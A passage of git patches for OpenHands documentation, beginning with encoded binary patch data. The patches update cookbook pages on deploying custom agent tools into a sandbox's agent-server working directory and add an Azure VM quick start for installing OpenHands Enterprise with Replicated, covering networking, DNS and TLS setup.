zd)(7z&UusBanM=fmp<jtro2{eGnZ!goj$gpn?2IrU2t(6ZBch6UHufvhdj0staskR zRM3<ot@lE9(a#mh$n{osW-rHMuY<LdGeiM}%kqwrE)rGS1))L0RXL`gG?#U-@FV1t zONKKik>QI)`Yc6Jo;#Q^<#DIF@uR*n8}Z~?|J2lpqIy|*+voz%taQd7cef;F44c># zS*{Z6y~(UfuAlh;8TctaaPjWd(PP|rh4%s#T(xAp4a?Nf`0MV6#IuFQ>$O;HbJcDe zXPAbl0i)m5Jln`s{cmfWB^}Nom%N9H!;MqLu6B$iECduKnQ|kfr93ijmxpZGGt2b9 zxO;J&?@hkZdtX&9Rf>G0icYoKs=4AY+R{DT=%GusF{v8PNE}bC${4V2IQR<iS7*n; zdE=}In*8<2x&lD-l9*4;n4$gl_-vlj$)Q&uCceU{ZyX9sk3DJ5)=ZuWl94c;Q=@TS zm#ahc_#Q3I=~UkT;qm#?2irQoH3yKhv?X2ntMrDB$%7>Pk(g*qq+D+ZZ^hnc=4|lU z+$^hGF|?5+DABtiZ~M#INwTnJz~u8@(Q6^eJ7p#9vax9;qm#Q|PHk)K-g;}cS(x}Z z=zfWv`?4lr=wxl{k_ufJlO8&(?4|<BT&_!-Zs|dFl2eD}g)Zt3Kb-Bn`0W?Fn)7~O z$`2>AWB*sOG9D!bChNiDq3QJ=bpaBd6<^FtyH9)Spd76F6|8s5oU0?tVmH#M_6pV~ z-&~aV)-$y*8GK`V8&@vpg)6=+t_)$$#I;v_H~c*M99KmySvt6zJ8B;9>=J*}y_S_S z6%PN{Utt(mu;H(T2A-2Tg5zpf-Kp255_Ti*6DtR{XyeuNb)jNotp_f3Mt7>{81#+G z4xi(em0u52?q9Abyw~>K4>^%#wq~byZ-ipaVPvf4O8u7ycPRp@eGZg9@0X0Mo+vSj z@0l)Wx%KVtI+hjaYgVQXR2BNwdW1!>$T>Who#pmaU)A}H&B?x7q}!)|SQz(fOX8u^ zown}bytIlu^EMZ``Wo45Rv})_Mqk`*Mo2if;cMd3*6SY!^S#d|*CSIW)-4U^><TMd z{Q4_-eTo*mTuZ)BW?M4o4-@k;jb3DSeV1A}+4RmdZ<!(FDqpc%pH;fRru?-6BNqnF zhxn`^{VX+_3oxf=>8|5%ODdelM&*u<sggz9J(hN>iyBH^U9mF+!MOo@4rO(?(EF(| zXo~vmxt1qc`DS&}gXQkL#?|&u3Ormpi)rP`e^N0SMeaE}&t=CdHqO^}H2M7<pOWyA zM9y1zhxS*hb=LdBO5d6hmmHT$th||hRh?uHY2zR#+SdE!Wq#3Hvd(?JwO?YpgX*tL z1@7)Vw9XDNrzPcCIO_5_!8pm}=+PwO%9i#&X4Le(?=XkecA0IZPk_ZRkvu<q&vSdC zV;p8%XZO*drio@t6~6UtpzY?(bHBdk8_SNxF0uRl*gjwRbtn&ce72By-^ppyE#E6b z{f%ofLMFq{nbzFM^~#IFGI{t!|LfY~gZ`E=qmPiE&mvv#y7wr>J~-=q_;hz~ruFV% zOItJP$;t@A4$;&`F;zRqJU^z(Ow%A+Y`MYXFBcH&M|yGCOI^}kRB!jF?Ym3PkY~{+ z?)nQ06~Zq@r-hS7Qx@28^OIf}cjKYFW2Yi%MXo?u$5=0yI|HX4PI`HBj!uwh>At#4 zc@x#?)4L$cXrPhoGQ8?>a_nWL<?s5X40ZAYf_Amlx$Be9edQ)soU(^X?j<kle||Mz zv+=U#VOYS`M_#bc+vNS*+T}D7Ek{+|*h4mR-m+#%|M4->3;U|6M#e3}P$To|#^vE+ zBZy<3?z>Q`q+IWOs@JN5k{>1Q>P%-(<S}_vy*y4LhPwMP2(I(0x(kWIL~GdAcZN@X z<PhnqGLt_N-*Vc^mrBAF4&J`Zo~@Dkz|?zXKB!E>SZ4qA!yn_H9(*4tUNrX~0g(CH zin?4?9B#~T-AvZMy>;SKef#|~Kh^pJ|C9=My0Qnm4?gcr*uU3Ec8M`1&;g{T-&Nf* zJ#3k5<GtLihEEMwz84I`m_o3m3nc?Ceh~(zWTg2N?#3fS<adfEl52EU%eEe!9(tK$ zMLS7vv!%Pc8kIc__z|&Qe(a^+!t5F}@2F<rbUOY%2FFipBi(1WHgRtaD*-TzD@$Q! zX*R?%-$z_&AF$gtS<7_pNJ`WMy(_6X{&@dVyVN-8WnGB+(SvTITI&rH#|5he{`4=L zTVEc#r9?M`Va%P!JJOcOg7SQy7i4U6?>g$W6nb$V>{SVxF!op4$r-NBs3+r4vMZ>z zsR5Jne4j5ZqtDjrJAyt&s&NPAl*JcSEX^ye#f&)OjtOa+VeF$d+2Xl(N3>jb?;{TT ztd49uANXPGnBvn0M)y_{m=T<i&wc?RQW<WZ_xj7GR;PO5yBoqo;u%g#nUJ;z^YB7F zzo81dfN}Vy_C-m;{D>*q7*l=?FU7Bgif8l8d1a8523N$E7Dgl<j6QJG6&y?3s?UGe zbIU6-lGEA(%Q`s7l5)CnKlz9AY0kuh+Fxk>!GR;yrL)Zofy{M~krP>0TKUuC$Uw`! zbjN9Coc~jTkw@MiOW7H6jBE8@UYfaaNA}}-O)QD!9Y7J-P51Y6T{;^4cvtZAm(N}$ z+I<^F2^%K!`up$ws;l1W7qB*kmG&_gmwCT6U6BYZ^zBfu9>_d@E6nF@y`O6J1xY@> zs3i7Zb>XfT{-!=Ao_9NN5qBzPYip@DqO<)JRA;XIdGpnhMX+yPiE<t?B~XT$f%JU0 z<c8rEv9yb+_~g_OkA_+GWExA^u%?^xp*L+-bHd~p&1&Zen-Y@Nk%p;Ybbf^+m!ybj zVeo^QsL*uwWQ|MyWuuC|*T@4}GPj%OT(R_$mGYjVUP+Ob0TKZf1zQRHx;Fa+51mXV z+G|B=Xc5pd|GoMOs)Sq@6)n>gS3TL|2dA%Za|`9Y=B({Z7ZZ2hBs;SDe$jXqyMjcr zvPO9E_<MZ~N-KW;La#|K^_A;0Sq+Dees^qzjhPWp%O~MOcl$m|=V{3v`42uwz9u|1 zlyQF~56-i<9k4uN=Dck}T|luSXZumzs=i9V(X#E0G1BN&j}F;7R!H)IW#iQ?2?OVS zdlgzp0I%qU{HYH=PEu9^l5x%%2~O)l#QU#Jzgt>=HoX%#4+3>^a|cIT3MCFzZ0pqx z^F38=`KR{UB4FJK;<DlsN6(&Dv}ISj8O}O)Zud6iu1$Q}{G?59^Tl(p*krmPFXOOT zraQ?DG&8b;xdLI3e!%lNT>sV+Q7_-Df9RV~>1<?N-=h$lF48C8Za7$@=a($wlZN}| zDx7EhJ}!p3-mQ|7Y`j57W`q3kKHv#gYI2N?<%n9FB=(ozd@eY0)tssn3pdSoC~KFn zTl05ZnI#dves@0`{GJxOI|go56<yRyd4<1si*~4mY<n!Ws@Sp2j+EGAw%Nb-u(<s+ zX9Ohk*b~?`QQh=c&vz5_?94p2=+)evO4l4?)o-oQflHUW9+@z64akx>rV6Y1giXYL zCzf7_*d<Q<ta7@<;^_3Ir_(y+*Wtzm38z`gqq!B&(2O{Dvps>&NgqZ1x5u_uBhs&y z1*Ls$jyU9bNWDCHN>VI)@&xl<{@QuS1+=67TP=g)!Fq3<-j6PK*>D=UwZ+!X#FYnW zU-JBhM`ocBZA2T7s~J;TSbgLN-09pBBe?_SEse9r9YcJqbBeN>WVF992Q$289A`Gu zXD;%YimUP7r7Cmkc=_(ki;5S9mB!C<y>sQe4>*+v$-{oJGoP~#Fl`U19XeyF!;9D{ zynXU<aI&qrW^LDCW$k(Tev#{XH8~mWSqXXGID-6DqK6?=nY72RsRCp_+x~K~i`5#7 zxZ8XPSE@n!Z$D(Fe}19_XKj>zBMyH$n4x%Aru-HSo2<=Um=Xz#mhpD>7-#$gC(gjy zuY3FAa;P!xq{EMre29m^owBqVoy*)L^jwx5fC9}JOQ4mtJdjlz<W}a4XLrq9GoxmD zwZAs-jdjq~0=RP*YhnG@;4uh!Gb!Zd98yKyg3-Z|%S=VCXZc44>x?ChKi+>8aBZ2P zXQ2!@j~HoIu*>YcA$C59qQ!;L%5TAjX)dc6MZUMZ+w*1Q!h^?yz6*a1Mfquny1e&y z5?-yuyV{1Cr8sL*n?r3Ie=RxE<lZ}VZ%N<fNS3e}xupD^+|Rv$?Y&<O-J|*<2Mf`k zKkAu6iZjQiQkg$~8)R1XJRT3ES!FV}_E<k!rLe4*$S@M=HU9aL00qfVldPA*p3Z4` zN>9<uiD^x$9dm@qV)9F`$c!-CrZ1?;&PJcX?2OO{tsb`*_xisRCd2xgFHMFzB2rcn zcJ4RVef0-ow<X&zRsFcUl?JQfN1T5g{uAXqbDsOQPf<s4v>@&(Gwtwnkgs*6=?{2> zwSNFv!~u$QWxUvjG)&BGaKhjHaL98@`Q^~+0GzFIu*hTOw278Ea+f_ya`hmvei#$E zsLE*etDQZ0d6HGQyH4mV&W%|{9P!X4BL<xuz|nIvh<@b0`A|zer(nSCUer&=3BA%! zE<44gpU*tF|Nd~+Yu|FXy2jBz0L$w4pr3was_>(5{*?6hxd09-rEO2<=VjxLo*D5| zsi%RNMb9#1^<-6Wu4aP*^`~#={!e*l|IYOO$8k9l#kJ6#uNG16nmLqO?$U4~))eM8 z6URd2;9zq%g=+3AtQ&VHTspZ~<HTYO8P4phrDUV!X0#QDHEZr>d_UDW`hNe0@8_rY z^}gQM`}O%;pZ9gW-|yG+^?1E#Z=UNVl2RfYOyW%Y;UMMvQz=#bRSYPP|MV23gOm7h zaE&z&Tj1oKtM%APuya-mETsczaq<rxn1h}_-|S<s7BhjeX~V6_We8gLBhPwF-1L&7 zJJg{VyEGUcrLCLZ9#YcPMh=|NW%k$4@gCg6lOq}(vxyX?-@!u(5I-6hMe+r&!8~ex zEeg9&{Yn=2Oai3dx%pLJ>mRWJ6k2gR>YL<j2$t_1wHerF+Z1=l*)$^eGV_`N>bz)G zg&C8+G#vZZ$3Fk#IyqyY??H5qk9zx^&Wm~{*DaMM9Ia)H$_D?J5vsF6D6Zg7t~XjJ zuo>)Ok>$!P^xbW!HBW?@SDZQvLT2r2;d2J_AT+asp9aC2x+V_W7p2C`wD3hIG8r_B z{1%JeXDap9$q;sK*vQj98^yyVo#vqG@Q;z*%#(j=5EfcQjvwC0l+W!g7cBEBHxXFP zOGmKQ(VN#N&Qix(CvuM|+(gwR9t6Gj6)IAZ({CioaFE{!Pf*-i6L?R%OAP0I41OXb z_)XfB5aRY;kX!ZY5BHntk5OCZn_6*L<##Z#=T+)rMbCMQMFB5z4O&!Y%wFKJS)P*Z zlxmt{=%beW`1oH~O7a=kmHv>>QfD6!24C$iU@sI{DMpg>Wh%mpUDT{0PPunCC+gGo zMoH@7+=NZ(kHdwR>|>~^5#9uM)qpxphIsAMAjvotI=1^QQX+F7g7qrW^!3?yft~Z; z(vu&wlWuO`hcZ;-Nwnv(`RH}e>n}%ntBaEf_~_H@C%Od_3XfWyLjTIAJ076Rjt3Fd zbXO15C`x7`tukO?oN?)}0o|doqJq1k%%*3HV`3*={?<vHF38{5yh}Rz*KdxsDT>r) zt*T6C$$8kPrb>EF0vN5~?G{w|e5!w|)v{hhFpq#RB69oqzk8wEV9$A&@;XCBERg>9 zZidBNSiKe<jSFBk$Dy>}jgxS?oCwT<^IpAW5n}DU%>~*CNAnpg)3oxg*zL@1IHUX8 z$U4Tj0d;+D4~Zysud(%eHq=UC2UjPV>L+UTumYOmCK4&;Om<iVIb>NYMYIxL*a;dj z8|`*;MX$Km!IwvijrL(eR_Rl5vI<q@6h^`s^b23DU3E#GV?<&2PF5cbKkoxMwnM<n zu+W~<cso??3`N1`rA>dl&J#|*x=i?T7t}9+*uJ713UB>-%<h2d*uhXB^!*MM*x@&) zt#q~zP|o(JYIfep^O<~Fwb&^q@VC~+-!>IV5`-;GR`j_|xRx@fmGWfUvZi<0^HML2 z^rx%Pf9-jVeU@Z^^&JjHS8DisDrI2v9;l<mWgaidQ<DT7EeTwFb-pz%)}IDs-xt97 zucS!%s?XlF`rloqt{su6S{>0@ij~el#Txlg)-7UV);;_dNz-}{GuVb}i8~dYz<BI@ zpo}zLX7t<2)`*@4NL$BN7k-6;6XO>TqYXzc(0HGjrnQC*<?Odny63QeoFuL^bhZu% z;Oux%uC9}rRt5R*!McyZSHQ|SVDMN&+B~j8rMR>Z`Eq)r7`)wzMxaa%dDl3~2=W<Y zk`7Q8a#v!O)QmTU8^izc;a2#okDF1@FGg25gY)u%MJM`-GKX-qVe|!e1Rn0?i1#;< zVhlr+HZ4vcS?tv!Isj^qvzv$J#(TWK+QCY$gvG1l$MDTIx<|W`%4XZ*j)`T)BhqWv zG7;bu1L5RCT`(zM{H*aPnN*(PbYZwUfM!AyI&GdAfw1!y5Lzy}VS3MRRXjBB%dzu` za`480y}G|y2!RLIM;-0$iE2u@P0_LIJ6VTs5Kg^oPW8Mrbzf6G%kvJMpRKWLX>E^~ z^E64^JPX?zTR#uLpzOSzvX7C7WW6qEZY+c)y#75QCBS&NifUuN{6a&b0%u3kGhqXG z;kMxx1>+TQ`Y^8Tp|Y(OS9~@AwzCLn`TpW(wfzSrJHj#pt6zVpt>5_akTY_6b-vX+ zmOK%6Dn9y$PsJWkqwKidEuP&(=%$p!)5MnW4b}N8brORBO#6e{E&o?Ys&)aof5p`v z{bx~qjYcwL0~%1D<WsG9!{V2QTPx80e?4^#UH}9-hXXK$^LpOH?>Mxs+Zm;w*MUs% zs^{NPabi#_6{wx4O%)(`WIFq8$l#S(rH<VgLP=9&V~%!pslnsu$)A`kRtuNQEj4xU z+7Ols_go2mTbNO*F^fnwDE1rd>4~90X?gFXAtDRmw%b9+&4e!s)kr3@V~j{-UHgwR z9b}Lu6-k4NQh2z4iy*M&ksWsX37ZEBmTcF~SQm3%(#3>c$x4zu5a4bOK<i!GmUbF@ za4tWlwZlnU?R7@Ety{L)yWqZ&SPp?~jq$dpLETy1&9O_D^ED^~@gqJ`BXUXTVK>xj zr~V<=EVlkSf5dxNyZiBh1&4i%$b6a8oPAKcp<c1Q?UEVa47mzs-UzvsU%n0!gy@%O SP_+1Rz~k(A#-RZoc=bQC+_yRa literal 0 HcmV?d00001 From 55d582773e82ac5a2879b29b004d96e9c88bc179 Mon Sep 17 00:00:00 2001 From: "openhands-release-bot[bot]" <290150379+openhands-release-bot[bot]@users.noreply.github.com> Date: Mon, 19 Oct 2026 03:18:32 -0400 Subject: [PATCH 80/97] docs(cookbook): sync from OpenHands/enterprise-cookbook (#975) Syncs the Enterprise Cookbook tab with OpenHands/enterprise-cookbook@2fb0f518bd77803311fbb6fb10384ae26e2b7856. Every file under `cookbook/` and the Enterprise Cookbook tab in `docs.json` are generated from that repository. Change them there, not here; edits made directly in this repository are overwritten by the next sync. _Opened automatically by the docs-publish workflow in OpenHands/enterprise-cookbook ([run](https://github.com/OpenHands/enterprise-cookbook/actions/runs/39214962875))._ Co-authored-by: openhands-release-bot[bot] <290150379+openhands-release-bot[bot]@users.noreply.github.com> --- cookbook/custom-agent-with-pip-tool.mdx | 42 ++++++++++++++++++++----- cookbook/custom-agent-with-tool.mdx | 35 ++++++++++++++++++--- 2 files changed, 64 insertions(+), 13 deletions(-) diff --git a/cookbook/custom-agent-with-pip-tool.mdx b/cookbook/custom-agent-with-pip-tool.mdx index 42addf8f2..ff492499c 100644 --- a/cookbook/custom-agent-with-pip-tool.mdx +++ b/cookbook/custom-agent-with-pip-tool.mdx @@ -25,13 +25,15 @@ with messy numbering and adds a table of contents. ## How It Works 1. **Create a sandbox** (`POST /api/v1/sandboxes`) and wait for `RUNNING`. -2. **Install the package** into `/workspace` via `pip install --target`: +2. **Install the package** into the agent-server's working directory via + `pip install --target`. The script reads that directory from the sandbox spec (see + [Where the Server Imports Tools From](#where-the-server-imports-tools-from)): ```bash - pip install --target /workspace --no-deps oh-markdown-tool[openhands]==0.2.1 - pip install --target /workspace mdformat pymarkdownlnt + pip install --target <working_dir> --no-deps oh-markdown-tool[openhands]==0.2.1 + pip install --target <working_dir> mdformat pymarkdownlnt ``` - The `--target` flag puts the package into the conversation's working directory, - which is on the agent-server's `sys.path`. We use `--no-deps` to skip dependencies + The `--target` flag puts the package into the agent-server's working directory, + which is on its `sys.path`. We use `--no-deps` to skip dependencies that are already **bundled** in the frozen agent-server (`openhands-sdk`, `pydantic`, `rich`), then install only the **non-bundled** deps (`mdformat`, `pymarkdownlnt`) explicitly. @@ -74,6 +76,7 @@ export LLM_BASE_URL=https://llm-proxy.app.all-hands.dev/ ```bash python working_example.py # runs and cleans up the sandbox python working_example.py --keep # leave the sandbox up for inspection +python working_example.py --install-dir /workspace # app servers older than 1.53.0 ``` <Warning> @@ -103,14 +106,37 @@ On OpenHands Cloud the agent-server is a **frozen, self-contained binary** (buil PyInstaller). A plain `pip install` targets the sandbox's *system* Python interpreter, which the frozen server cannot see — so the module would never be importable. -The conversation's **working directory is on the agent-server's import path**, so -`pip install --target /workspace` places the package where the server can actually +The **agent-server's working directory is on its import path**, so +`pip install --target <working_dir>` places the package where the server can actually import it. The bundled dependencies (`openhands-sdk`, `pydantic`, `rich`) are already available inside the frozen binary, so we skip them (`--no-deps`) and only install the package's own code plus its *non-bundled* dependencies. This approach works for any published package, not just `oh-markdown-tool` — the key is -installing into the working directory and being aware of what's already bundled. +installing into the agent-server's working directory and being aware of what's already +bundled. + +## Where the Server Imports Tools From + +The agent-server runs from the sandbox spec's `working_dir`, which is +`/workspace/project` on OpenHands Cloud today. The tool has to go in that directory, +so the script looks it up instead of hardcoding a path. The sandbox record carries a +`sandbox_spec_id`, and `GET /api/v1/sandbox-specs?id=<sandbox_spec_id>` returns the +spec's `working_dir`. + +<Info> + The conversation's `workspace.working_dir` (`/workspace` in this example) is a + separate setting. Installing there does not make the package importable. +</Info> + +<Note> + Before app server 1.53.0, the sandbox started the agent-server in `/workspace` + whatever the spec's `working_dir` said. Check `info.version` in `/openapi.json`, and + on older servers run with `--install-dir /workspace`. + + That the agent-server's working directory is on its import path is observed + behavior of the frozen binary, not a documented guarantee. +</Note> ## Verification (Same Technique as the Other Examples) diff --git a/cookbook/custom-agent-with-tool.mdx b/cookbook/custom-agent-with-tool.mdx index 490e64c4b..7d6575be5 100644 --- a/cookbook/custom-agent-with-tool.mdx +++ b/cookbook/custom-agent-with-tool.mdx @@ -25,10 +25,12 @@ it actually called the tool — making the demonstration unfalsifiable. 1. **Create a sandbox** (`POST /api/v1/sandboxes`) and wait for `RUNNING`. Read the `AGENT_SERVER` URL and the `session_api_key` from the sandbox record. -2. **Deploy the tool** as an importable package in the conversation's working - directory, `/workspace/bug_registry/`, using the agent-server file API - (`POST /api/file/upload?path=...`). Two files are uploaded: `__init__.py` and - `tool.py` (the contents of `custom_tool_definition.py`). +2. **Deploy the tool** as an importable package in the agent-server's working + directory, `<working_dir>/bug_registry/`, using the agent-server file API + (`POST /api/file/upload?path=...`). The script reads `<working_dir>` from the + sandbox spec (see [Where the Server Imports Tools From](#where-the-server-imports-tools-from)). + Two files are uploaded: `__init__.py` and `tool.py` (the contents of + `custom_tool_definition.py`). 3. **Create a conversation** (`POST /api/conversations`) that lists the tool in `agent.tools` and maps it in `tool_module_qualnames`. 4. **Run and verify** (`POST .../run`, then read events). The custom tool must show @@ -42,7 +44,7 @@ with PyInstaller). A normal `pip install` targets a *different* Python interpret that the frozen server cannot see, so the module would never be importable and the tool would fail to register. -The conversation's **working directory is on the agent-server's import path**, so +The **agent-server's working directory is on its import path**, so dropping the package there makes `import rubber_duck.tool` work with no install step. The tool's own imports (`openhands.sdk`, `pydantic`) resolve from inside the frozen server, where they're always available. @@ -88,6 +90,7 @@ export LLM_BASE_URL=https://llm-proxy.app.all-hands.dev/ ```bash python working_example.py # runs and cleans up the sandbox python working_example.py --keep # leave the sandbox up for inspection +python working_example.py --import-dir /workspace # app servers older than 1.53.0 ``` <Warning> @@ -112,6 +115,28 @@ Expected output: [demo] SUCCESS: the custom tool was loaded and used in OpenHands Cloud. ``` +## Where the Server Imports Tools From + +The agent-server runs from the sandbox spec's `working_dir`, which is +`/workspace/project` on OpenHands Cloud today. The tool has to go in that directory, +so the script looks it up instead of hardcoding a path. The sandbox record carries a +`sandbox_spec_id`, and `GET /api/v1/sandbox-specs?id=<sandbox_spec_id>` returns the +spec's `working_dir`. + +<Info> + The conversation's `workspace.working_dir` (`/workspace` in this example) is a + separate setting. Uploading the tool there does not make it importable. +</Info> + +<Note> + Before app server 1.53.0, the sandbox started the agent-server in `/workspace` + whatever the spec's `working_dir` said. Check `info.version` in `/openapi.json`, and + on older servers run with `--import-dir /workspace`. + + That the agent-server's working directory is on its import path is observed + behavior of the frozen binary, not a documented guarantee. +</Note> + ## Verifying Registration (Same Technique as `custom-agent-no-browser`) The agent-server records a `SystemPromptEvent` whose `tools` array is the exact set From 917ae4ff0205f7b2a4ddc8f7629a92aa556cf1ed Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Mon, 19 Oct 2026 10:44:45 -0500 Subject: [PATCH 81/97] docs: add Azure VM Replicated quick start (#878) * docs: add tested Google Cloud Replicated quick start * docs: split Enterprise quick start into AWS and Generic VM guides * docs: add Azure Replicated quick start * Correct quick-start sizing references and direct installation links * Link directly to the Replicated installation skill * Clarify validated Azure VM path after independent review * docs: group Enterprise quick starts under VM Install --- docs.json | 1 + enterprise/vm-install/azure.mdx | 654 ++++++++++++++++++++++++++++++++ 2 files changed, 655 insertions(+) create mode 100644 enterprise/vm-install/azure.mdx diff --git a/docs.json b/docs.json index 932d529c0..cce7e635e 100644 --- a/docs.json +++ b/docs.json @@ -628,6 +628,7 @@ "enterprise/vm-install/generic-vm", "enterprise/vm-install/aws", "enterprise/vm-install/google", + "enterprise/vm-install/azure", "enterprise/vm-install/admin-console-configuration", "enterprise/vm-install/log-collection", "enterprise/vm-install/scaling" diff --git a/enterprise/vm-install/azure.mdx b/enterprise/vm-install/azure.mdx new file mode 100644 index 000000000..afcfff6de --- /dev/null +++ b/enterprise/vm-install/azure.mdx @@ -0,0 +1,654 @@ +--- +title: Azure Quick Start +description: Provision an Azure Linux VM and install OpenHands Enterprise with Replicated, starting with Anthropic inference. +icon: microsoft +--- + +Install OpenHands Enterprise on a dedicated Azure VM using Replicated Embedded +Cluster. The installer manages Kubernetes on the VM. This guide uses Anthropic +for the initial model configuration; hosting OpenHands on Azure does not require +Azure OpenAI. + +For an AKS deployment, use [Install with Helm](/enterprise/k8s-install/installation). +AKS node pools, Helm values, and Kubernetes storage classes do not configure this +VM installation. + +## Prerequisites + +- [Register for an Enterprise trial](https://install.r9.all-hands.dev/openhands/signup), or use an existing licensed installer account. +- Azure CLI and an Azure subscription with permission to create a resource group, + VM, managed disk, virtual network, subnet, NIC, network security group, and public IP. +- Regional total-vCPU and VM-family quota for a VM with at least 16 vCPUs and 64 GB RAM. +- An SSH key pair and the public IPv4 CIDR of the administrator's workstation or VPN. +- A base domain you control and permission to change its DNS records. +- A publicly trusted wildcard certificate and its private key. +- An Anthropic API key and a GitHub account with permission to create/install a GitHub App. + +Subscription `Contributor` normally covers the infrastructure in this guide. + +## Plan the Azure Resources + +| Resource | Purpose | +| --- | --- | +| Dedicated resource group | Scope the evaluation resources and cleanup | +| VNet and subnet | Private network for the VM and embedded cluster | +| Network security group | Permit HTTP/HTTPS and restrict SSH/Admin Console access | +| Standard static IPv4 public IP and NIC | Stable inbound address and explicit outbound connectivity | +| Ubuntu 24.04 LTS x86-64 VM | Run the Replicated installer and embedded Kubernetes cluster | +| Premium SSD managed OS disk | Persist embedded-cluster, database, and sandbox data | +| Wildcard DNS and TLS | Route and secure application services and dynamic sandbox hostnames | + +The example uses `Standard_D16s_v3` (16 vCPUs, 64 GB RAM) and a 1,024 GiB +Premium SSD OS disk. The larger disk selects the P30 performance tier; it is not +a new capacity requirement. The trial baseline is 200 GB and P99 write latency +below 10 ms. A disk's provisioned IOPS do not guarantee that latency: run the +installer's host preflights. See [Premium storage performance](https://learn.microsoft.com/en-us/azure/virtual-machines/premium-storage-performance) +and the [Sizing Guide](/enterprise/sizing-guide) for larger deployments. + +Use persistent managed storage for installation data. Azure temporary/resource +disks can be lost during host maintenance or redeployment. This example keeps +installation data on the managed OS disk rather than adding a temporary disk. +This single-disk layout was used for the validation below. For a deployment that +needs to grow, follow the [Sizing Guide](/enterprise/sizing-guide) recommendation +to use a separate expandable data volume. + +## Provision Infrastructure + +Run these commands from your administrator workstation using Bash. + +### 1. Select the Subscription and Check Capacity + +```bash +az login +export SUBSCRIPTION_ID="<subscription-id>" +export LOCATION="eastus2" +export RG="openhands-replicated-eval-rg" +export VM="openhands-replicated-eval" +export VM_SIZE="Standard_D16s_v3" +export ADMIN_CIDR="<your-public-ip>/32" +export SSH_PUBLIC_KEY_FILE="$HOME/.ssh/openhands-azure.pub" +export BASE_DOMAIN="azure.openhands.example.com" + +az account set --subscription "$SUBSCRIPTION_ID" +az account show --query '{name:name,id:id,tenant:tenantId}' --output table +az vm list-usage --location "$LOCATION" --output table +az vm list-skus --location "$LOCATION" --size "$VM_SIZE" --all \ + --query '[?resourceType==`virtualMachines`].{name:name,restrictions:restrictions}' \ + --output json +az vm image show --location "$LOCATION" \ + --urn Canonical:ubuntu-24_04-lts:server:latest --output table +``` + +Verify available total and VM-family vCPU quota and SKU restrictions before +creating resources. A VM family can have zero quota even when total regional +quota is available. Request a quota increase or choose another supported +x86-64 size with at least 16 vCPUs and 64 GB RAM. Avoid a zonal deployment if +that zone is restricted for your subscription. + +Ensure `Microsoft.Compute`, `Microsoft.Network`, and `Microsoft.Storage` are +registered under **Subscriptions → Resource providers**. Registration may need +a subscription administrator. This deployment does not require AKS or the +`Microsoft.ContainerService` provider. + +Use an existing SSH public key, or generate a dedicated key pair without +replacing an existing file: + +```bash +ssh-keygen -t ed25519 -f "$HOME/.ssh/openhands-azure" -C openhands-azure +``` + +### 2. Create Networking and Ingress Rules + +Use a new, dedicated resource group. Check that its name is unused before +proceeding; do not place evaluation resources in a shared production group. + +```bash +az group exists --name "$RG" +az group create --name "$RG" --location "$LOCATION" + +az network vnet create --resource-group "$RG" --name "$VM-vnet" \ + --address-prefixes 10.82.0.0/16 \ + --subnet-name openhands --subnet-prefixes 10.82.1.0/24 +az network nsg create --resource-group "$RG" --name "$VM-nsg" + +az network nsg rule create --resource-group "$RG" --nsg-name "$VM-nsg" \ + --name admin --priority 100 --source-address-prefixes "$ADMIN_CIDR" \ + --destination-port-ranges 22 30000 --protocol Tcp --access Allow +az network nsg rule create --resource-group "$RG" --nsg-name "$VM-nsg" \ + --name web --priority 110 --source-address-prefixes Internet \ + --destination-port-ranges 80 443 --protocol Tcp --access Allow + +az network public-ip create --resource-group "$RG" --name "$VM-ip" \ + --sku Standard --allocation-method Static --version IPv4 +az network nic create --resource-group "$RG" --name "$VM-nic" \ + --vnet-name "$VM-vnet" --subnet openhands \ + --network-security-group "$VM-nsg" --public-ip-address "$VM-ip" +``` + +Choose non-overlapping VNet/subnet address ranges for your environment. The +example exposes ports 80/443 so GitHub callbacks and users can reach OpenHands. +Ports 22/30000 are restricted to your administrator CIDR. Corporate firewalls, +subnet NSGs, and host firewall rules must also permit the required traffic. +Do not expose Kubernetes or etcd ports publicly. + +The NIC's public IP provides explicit VM outbound connectivity. If you use a +private VM instead, provide a NAT gateway or your organization's approved egress +path and a supported ingress path with DNS/TLS and integration reachability. + +### 3. Create the VM and Persistent Disk + +```bash +az vm create --resource-group "$RG" --name "$VM" \ + --nics "$VM-nic" \ + --image Canonical:ubuntu-24_04-lts:server:latest \ + --size "$VM_SIZE" --admin-username azureuser \ + --authentication-type ssh --ssh-key-values "$SSH_PUBLIC_KEY_FILE" \ + --storage-sku Premium_LRS --os-disk-size-gb 1024 \ + --os-disk-name "$VM-os" + +export VM_IP=$(az network public-ip show --resource-group "$RG" \ + --name "$VM-ip" --query ipAddress --output tsv) +ssh -i "$HOME/.ssh/openhands-azure" "azureuser@$VM_IP" +``` + +Local embedded-cluster ports must be available: `2379`, `7443`, `9099`, +`10248`, `10257`, and `10259` (TCP). These do not need public NSG rules. + +On the VM, verify the OS, kernel, memory, disk space, and sudo access: + +```bash +cat /etc/os-release +uname -m +uname -r +nproc +free -h +lsblk +findmnt /var/lib +sudo -v +``` + +Use Ubuntu 24.04 LTS and check the actual kernel against the +[Sysbox requirements](/enterprise/docker-in-sandbox). Do not infer compatibility +from the Azure image name alone. The Replicated host preflight must pass before +installation; do not bypass a failed storage or runtime check. + +### 4. Configure DNS + +Create a wildcard A record for `*.<base-domain>` pointing to the static `VM_IP`. +You can keep DNS with your existing provider; Azure hosting does not require +Azure DNS. + +If your authoritative zone is already hosted in Azure DNS, run from your +workstation using the existing zone's resource group: + +```bash +export DNS_RG="<existing-dns-resource-group>" +export DNS_ZONE="example.com" +# Relative name for *.azure.openhands.example.com in example.com: +export DNS_RECORD="*.azure.openhands" +az network dns record-set a add-record --resource-group "$DNS_RG" \ + --zone-name "$DNS_ZONE" --record-set-name "$DNS_RECORD" \ + --ipv4-address "$VM_IP" +``` + +Do not append an IP to an existing record set that serves another deployment. +If you create a new Azure DNS zone, delegate it at its parent or registrar to +its assigned name servers before expecting public resolution. DNS zone access +may require a separate role or DNS administrator. + +### 5. Obtain and Copy TLS Files + +Obtain a publicly trusted wildcard certificate for `*.<base-domain>`. For +Let's Encrypt, use a DNS-01 challenge with your authoritative DNS provider. +HTTP-01 cannot issue a wildcard certificate. Keep provider credentials and +private keys out of repositories and command output. + +If you do not already have a certificate, install Certbot using its +[official instructions](https://certbot.eff.org/instructions). For an evaluation, +run a manual DNS-01 challenge on your administrator workstation: + +```bash +umask 077 +mkdir -p "$HOME/letsencrypt" +certbot certonly --manual --preferred-challenges dns \ + --config-dir "$HOME/letsencrypt" \ + --work-dir "$HOME/letsencrypt/work" \ + --logs-dir "$HOME/letsencrypt/logs" \ + --cert-name openhands-azure -d 